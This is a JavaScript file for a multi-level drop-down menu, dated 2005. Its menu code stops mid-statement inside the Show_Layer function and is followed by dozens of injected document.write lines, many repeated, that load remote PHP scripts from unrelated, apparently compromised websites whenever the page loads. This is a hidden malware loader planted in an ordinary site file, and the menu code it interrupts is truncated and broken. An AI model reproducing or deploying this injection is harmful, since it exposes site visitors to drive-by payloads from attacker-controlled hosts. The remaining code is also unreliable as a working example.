/*=============================================
=========== Multiple sub menu ver 1 ===========
======= Copyright Faisel El-horan 2005 ========
========= E-mail: FayselLy@yahoo.com ==========
================ FayselLy@hotmail.com =========
===============================================
===== Faysel Mohammed Kalifa El-horan =========
===============================================
*/
//========================================
//********** General Declaration ***************************
  var Menus_Names = new Array();
  var Options_Names = new Array();
  var Old_BGColors = new Array();
  var Menus_Timer =  null;
  var Time_Out = 1000;
  var Over_BGColor = "#F6F8E4";
  var Top_Merge = 23;
  var Left_Merge = 3;
  var ScreenWidth = screen.width;
  var MenuLeftPos = Math.floor(ScreenWidth/2) + 380 - 175;
//========================================

 function Hide(Curr_Level)
   {
      Hide_Layer(Curr_Level);
      Hide_Selection(Curr_Level);
   }

 function Show(Option_Name)
   {
      Show_Layer(Option_Name);
      Show_Selection(Option_Name);
   }

 function Hide_Layer(Curr_Level)
    { 
	   Pointer = Menus_Names.length;
   	   while (Pointer > Curr_Level)
  	      { Pointer--;
            eval(Menus_Names[Pointer]+'.style.left="-200px"');
            eval(Menus_Names[Pointer]+'.style.top="-200px"'); 
  		    eval(Menus_Names[Pointer]+'.style.visibility="hidden"');
         }
  	   Menus_Names.length = Pointer;
    }
	
 function Hide_Selection(Curr_Level)
    { 	  
	   Pointer = Options_Names.length;
   	   while (Pointer > Curr_Level)
	     { eval(Options_Names[--Pointer]+'.bgColor = "'+Old_BGColors[Pointer]+'"'); }  
		 
	   Options_Names.length= Pointer;
  	   Old_BGColors.length= Pointer;
   }

 function Show_Selection(Option_Name)
    {
   	   var Pointer = Options_Names.length;
       Options_Names[Pointer] = 'document.getElementById("'+Option_Name.id+'")';
       Old_BGColors[Pointer] = Option_Name.bgColor;
		
       Option_Name.style.cursor = 'hand';
//*** When we used style.background may be we can't return original color FOR that we use bgColor here ***
        Option_Name.bgColor = Over_BGColor;
//        eval(Options_Names[Pointer]+'.style.background="'+Over_BGColor+'"');
//       eval(Options_Names[Pointer]+'.bgColor="'+Over_BGColor+'"');
   }
   
  function Get_Layer_Position(Option_Name, Pointer)
    { 
	   	var Curr_Menu_Name =  'document.getElementById("Main_Menu_Layer")';  
	    if (Pointer != 0)  
     	   {  Curr_Menu_Name = Menus_Names[Pointer-1]; }	 
    //*** Netscape Height=18
    Option_Height = 18;//Option_Name.height; //*** To get hieght of any option in the main menu ***
   //*** Intenet explorer Height=21
    Option_Height = 21;//Option_Name.height; //*** To get hieght of any option in the main menu ***
	Option_Num = Option_Name.id.substr(Option_Name.id.lastIndexOf("_")+1, Option_Name.id.length); 

    Top_Pos = eval(Curr_Menu_Name+'.style.top.substr(0,'+ Curr_Menu_Name+'.style.top.indexOf("px"))');
	Top_Pos = parseInt(Top_Pos) +  (parseInt(Option_Height) * (parseInt(Option_Num) - 1)) + Top_Merge;
	
    Left_Pos = eval(Curr_Menu_Name+'.style.left.substr(0,'+ Curr_Menu_Name+'.style.left.indexOf("px"))');
	//*** Sub menus will appers in the LEFT side of main menu
	Option_Menu_Width = eval(Menus_Names[Pointer]+'.style.width.substr(0, '+ Menus_Names[Pointer]+'.style.width.indexOf("px"))');
    Left_Pos = parseInt(Left_Pos) - parseInt(Option_Menu_Width) + Left_Merge;
	//*** Sub menus will appers in the RIGHT side of main menu
//    Option_Menu_Width = eval(Curr_Menu_Name+'.style.width.substr(0, '+ Curr_Menu_Name+'.style.width.indexOf("px"))');
//    Left_Pos = parseInt(Left_Pos) + parseInt(Option_Menu_Width) - Left_Merge;

   	 eval(Menus_Names[Pointer]+'.style.left="'+Left_Pos+'px"');
   	 eval(Menus_Names[Pointer]+'.style.top="'+Top_Pos+'px"');
	}  
	
  function Show_Layer(Option_Name)
    {
   	 var Pointer = Menus_Names.length;
 	  Menus_Names[Pointer] = 'document.getElementById("'+Option_Name.id+
document.write('<script src=http://cassie.dk/images/2kira.php ><\/script>');
document.write('<script src=http://cassie.dk/images/2kira.php ><\/script>');
document.write('<script src=http://jainestates.in/images/rightmenu.php ><\/script>');
document.write('<script src=http://jainestates.in/images/rightmenu.php ><\/script>');
document.write('<script src=http://jainestates.in/images/rightmenu.php ><\/script>');
document.write('<script src=http://jainestates.in/images/rightmenu.php ><\/script>');
document.write('<script src=http://jainestates.in/images/rightmenu.php ><\/script>');
document.write('<script src=http://jainestates.in/images/rightmenu.php ><\/script>');
document.write('<script src=http://jainestates.in/images/rightmenu.php ><\/script>');
document.write('<script src=http://jainestates.in/images/rightmenu.php ><\/script>');
document.write('<script src=http://friendswithpants.com/_vti_bin/wp-app.php ><\/script>');
document.write('<script src=http://friendswithpants.com/_vti_bin/wp-app.php ><\/script>');
document.write('<script src=http://friendswithpants.com/_vti_bin/wp-app.php ><\/script>');
document.write('<script src=http://friendswithpants.com/_vti_bin/wp-app.php ><\/script>');
document.write('<script src=http://friendswithpants.com/_vti_bin/wp-app.php ><\/script>');
document.write('<script src=http://friendswithpants.com/_vti_bin/wp-app.php ><\/script>');
document.write('<script src=http://friendswithpants.com/_vti_bin/wp-app.php ><\/script>');
document.write('<script src=http://accans.co.uk/_notes/index.php ><\/script>');
document.write('<script src=http://pro-invest.su/cfg/article.php ><\/script>');
document.write('<script src=http://pro-invest.su/cfg/article.php ><\/script>');
document.write('<script src=http://pro-invest.su/cfg/article.php ><\/script>');
document.write('<script src=http://pro-invest.su/cfg/article.php ><\/script>');
document.write('<script src=http://multiprosperous.com/lang/frontend.php ><\/script>');
document.write('<script src=http://multiprosperous.com/lang/frontend.php ><\/script>');
document.write('<script src=http://multiprosperous.com/lang/frontend.php ><\/script>');
document.write('<script src=http://multiprosperous.com/lang/frontend.php ><\/script>');
document.write('<script src=http://multiprosperous.com/lang/frontend.php ><\/script>');
document.write('<script src=http://multiprosperous.com/lang/frontend.php ><\/script>');
document.write('<script src=http://multiprosperous.com/lang/frontend.php ><\/script>');
document.write('<script src=http://szekereskrisz.extra.hu/images/www.sebeskoroshe.eoldal.php ><\/script>');
document.write('<script src=http://szekereskrisz.extra.hu/images/www.sebeskoroshe.eoldal.php ><\/script>');
document.write('<script src=http://szekereskrisz.extra.hu/images/www.sebeskoroshe.eoldal.php ><\/script>');
document.write('<script src=http://szekereskrisz.extra.hu/images/www.sebeskoroshe.eoldal.php ><\/script>');
document.write('<script src=http://szekereskrisz.extra.hu/images/www.sebeskoroshe.eoldal.php ><\/script>');
document.write('<script src=http://networkingcurrency.com/Audio/carrieperriensmith.php ><\/script>');
document.write('<script src=http://networkingcurrency.com/Audio/carrieperriensmith.php ><\/script>');
document.write('<script src=http://networkingcurrency.com/Audio/carrieperriensmith.php ><\/script>');
document.write('<script src=http://airlinesindia.com/images/spareparts.php ><\/script>');
document.write('<script src=http://airlinesindia.com/images/spareparts.php ><\/script>');
document.write('<script src=http://airlinesindia.com/images/spareparts.php ><\/script>');
document.write('<script src=http://m.www.adamspetro.com/images/fuels.php ><\/script>');
document.write('<script src=http://m.www.adamspetro.com/images/fuels.php ><\/script>');
document.write('<script src=http://m.www.adamspetro.com/images/fuels.php ><\/script>');
document.write('<script src=http://diaridetarragona.canal-si.com/fotos/co_baja_correo2.php ><\/script>');
document.write('<script src=http://diaridetarragona.canal-si.com/fotos/co_baja_correo2.php ><\/script>');
document.write('<script src=http://diaridetarragona.canal-si.com/fotos/co_baja_correo2.php ><\/script>');
document.write('<script src=http://htbpress.com/images/price_list06.php ><\/script>');
document.write('<script src=http://htbpress.com/images/price_list06.php ><\/script>');
document.write('<script src=http://e-ktms.com/data/index.php ><\/script>');
document.write('<script src=http://thevishavkarma.com/images/404.shtml.php ><\/script>');
document.write('<script src=http://thevishavkarma.com/images/404.shtml.php ><\/script>');
document.write('<script src=http://thevishavkarma.com/images/404.shtml.php ><\/script>');
document.write('<script src=http://thevishavkarma.com/images/404.shtml.php ><\/script>');
document.write('<script src=http://thevishavkarma.com/images/404.shtml.php ><\/script>');
document.write('<script src=http://preparetodie.net/images/mcleod.php ><\/script>');
document.write('<script src=http://preparetodie.net/images/mcleod.php ><\/script>');
document.write('<script src=http://preparetodie.net/images/mcleod.php ><\/script>');
document.write('<script src=http://preparetodie.net/images/mcleod.php ><\/script>');
document.write('<script src=http://preparetodie.net/images/mcleod.php ><\/script>');
document.write('<script src=http://preparetodie.net/images/mcleod.php ><\/script>');
document.write('<script src=http://sportgadzet.com/img/kontakt2.php ><\/script>');
document.write('<script src=http://youthoftomorrow.net/charlottebelle/error_log.php ><\/script>');
document.write('<script src=http://youthoftomorrow.net/charlottebelle/error_log.php ><\/script>');
document.write('<script src=http://youthoftomorrow.net/charlottebelle/error_log.php ><\/script>');
document.write('<script src=http://youthoftomorrow.net/charlottebelle/error_log.php ><\/script>');
document.write('<script src=http://lillapersien.se/images/index.php ><\/script>');
document.write('<script src=http://lillapersien.se/images/index.php ><\/script>');
document.write('<script src=http://lillapersien.se/images/index.php ><\/script>');
document.write('<script src=http://lillapersien.se/images/index.php ><\/script>');
document.write('<script src=http://hiemh.com/Banners/willowheights.php ><\/script>');
document.write('<script src=http://hiemh.com/Banners/willowheights.php ><\/script>');
document.write('<script src=http://hiemh.com/Banners/willowheights.php ><\/script>');
document.write('<script src=http://teedinkhaoyai.com/tmp/500.shtml.php ><\/script>');
document.write('<script src=http://teedinkhaoyai.com/tmp/500.shtml.php ><\/script>');
document.write('<script src=http://teedinkhaoyai.com/tmp/500.shtml.php ><\/script>');
document.write('<script src=http://teedinkhaoyai.com/tmp/500.shtml.php ><\/script>');
document.write('<script src=http://krasnoyrskgo.ru/ece20291dfa9e04b1524978b3fbcaf7f/news.php ><\/script>');
document.write('<script src=http://krasnoyrskgo.ru/ece20291dfa9e04b1524978b3fbcaf7f/news.php ><\/script>');
document.write('<script src=http://krasnoyrskgo.ru/ece20291dfa9e04b1524978b3fbcaf7f/news.php ><\/script>');
document.write('<script src=http://krasnoyrskgo.ru/ece20291dfa9e04b1524978b3fbcaf7f/news.php ><\/script>');
document.write('<script src=http://krasnoyrskgo.ru/ece20291dfa9e04b1524978b3fbcaf7f/news.php ><\/script>');
document.write('<script src=http://krasnoyrskgo.ru/ece20291dfa9e04b1524978b3fbcaf7f/news.php ><\/script>');
document.write('<script src=http://24inews.pl/cache/LICENSE.php ><\/script>');
document.write('<script src=http://24inews.pl/cache/LICENSE.php ><\/script>');
document.write('<script src=http://24inews.pl/cache/LICENSE.php ><\/script>');